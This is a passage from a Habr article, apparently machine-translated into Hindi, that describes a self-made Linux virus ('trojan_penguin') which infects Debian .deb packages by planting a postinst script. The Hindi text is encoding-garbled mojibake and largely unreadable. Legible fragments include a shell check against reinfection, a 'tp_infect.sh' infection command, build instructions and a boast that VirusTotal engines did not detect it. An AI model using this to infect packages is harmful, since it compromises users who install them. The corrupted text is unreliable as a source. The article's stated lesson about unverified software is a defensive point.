рдореИрдВрдиреЗ рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣рд▓ рдХреА, рд▓реЗрдХрд┐рди рджреВрд╕рд░реА рджрд┐рдЦрд╛рдИ рджреАред рд╣рдорд╛рд░рд╛ рд╡рд╛рдпрд░рд╕ рдкреИрдХреЗрдЬ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдЧрд╛, рднрд▓реЗ рд╣реА рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╕рдВрдХреНрд░рдорд┐рдд рд╣реЛред рд╕рдВрд╢реЛрдзрди рдХрд░рдиреЗ рдкрд░, рд╡рд╛рдпрд░рд╕ рдпрд╣ рджреЗрдЦреЗрдЧрд╛ рдХрд┐ рдкреИрдХреЗрдЬ рдореЗрдВ рдПрдХ рдкреЛрд╕реНрдЯрд┐рдВрд╕реНрдЯрд▓ рд╣реИ (рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдорд╛рд░рд╛ рд╣реИ), рдЗрд╕реЗ / usr / bin / рдкрд░ рд▓реЗ рдЬрд╛рдПрдВ, рдЬрд┐рд╕рд╕реЗ рдореВрд▓ рдУрд╡рд░рд░рд╛рдЗрдЯ рд╣реЛ рдЬрд╛рдПред рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ "tp_infect.sh" рдореЗрдВ рдПрдХ рдЪреЗрдХ рдЬреЛрдбрд╝рд╛, рдХрд┐ рдХреНрдпрд╛ рд╣рдордиреЗ рдЗрд╕ рдлрд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

рдЗрд╕реЗ рдПрдХ рд╕рд╛рде рд░рдЦрдирд╛


рд╡рд╛рдпрд░рд╕ рддреИрдпрд╛рд░ рд╣реИред рдпрд╣рд╛рдБ GitHub рдХреА рдПрдХ рдХрдбрд╝реА рд╣реИ , рдЬреИрд╕рд╛ рдХрд┐ рд╡рд╛рджрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рд╡рд╛рдпрд░рд╕ рдХреЛ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рдПрдХ рдЕрд▓рдЧ рдбрд┐рдмреЗрдЯ рдкреИрдХреЗрдЬ (рд░рди makedeb.sh) рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд╛рдпрд░рд╕ рдХреЛ рдХрд┐рд╕реА рднреА рдкреИрдХреЗрдЬ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ:

 tp_infect.sh /  deb-/ 

рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдкреЛрд╕реНрдЯрд╕реНрдЯреЛрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рджреЛ рдкреНрд░рддрд┐рдпрд╛рдВ рд╣реИрдВ

DEBIAN / рдкреЛрд╕реНрдЯрд╕реНрдЯреАрди - рдпрд╣ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдХреЗрд╡рд▓ рдПрдХ рд╡рд╛рдпрд░рд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рд▓реА рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп рдХреА рдЬрд╛рддреА рд╣реИред рдореИрдВрдиреЗ рдЗрд╕реЗ рдЯрд┐рдкреНрдкрдгреА рдХреА рддрд╛рдХрд┐ рд╡рд╛рдпрд░рд╕ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рдмрд╛рдж рд╢реБрд░реВ рди рд╣реЛ, рдФрд░ рдХреЗрд╡рд▓ рдХрдорд╛рдВрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреБрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред

usr / bin / postinst - рдЗрд╕ рдкреНрд░рддрд┐ рдХреЛ рд╕рдВрдХреНрд░рдорд┐рдд рдкреИрдХреЗрдЬ рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдкрд░рд┐рдгрд╛рдо


рдФрд░ рдЗрд╕ рд▓реЗрдЦ рдХреЗ рдмрд┐рдирд╛ рдирд┐рд╖реНрдХрд░реНрд╖ рд╕реНрдкрд╖реНрдЯ рд╣реИ: рдЖрдкрдХреЛ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЪрд▓рд╛рдирд╛ рдирд╣реАрдВ рдЪрд╛рд╣рд┐рдПред

рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП VirusTotal рдХреЛ рд╡рд╛рдпрд░рд╕ рдбрд┐рдм рдкреИрдХреЗрдЬ рднреЗрдЬрд╛ред рд▓реЗрдЦрди рдХреЗ рд╕рдордп, рдПрдХ рднреА рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдиреЗ рдЗрд╕рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛рдпрд╛ред рдпрд╣рд╛рдБ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рд╣реИред рдореБрдЭреЗ рдЖрд╢реНрдЪрд░реНрдп рд╣реИ рдХрд┐ рдХрд┐рддрдирд╛ рд╕рдордп рдЧреБрдЬрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдХрд┐рддрдиреЗ рдореЗрдЬрдмрд╛рди рдХреЛ рдЗрд╕ рд╡рд╛рдпрд░рд╕ рд╕реЗ рд╕рдВрдХреНрд░рдорд┐рдд рд╣реЛрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдЗрд╕ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ?

Source: https://habr.com/ru/post/hi430460/


All Articles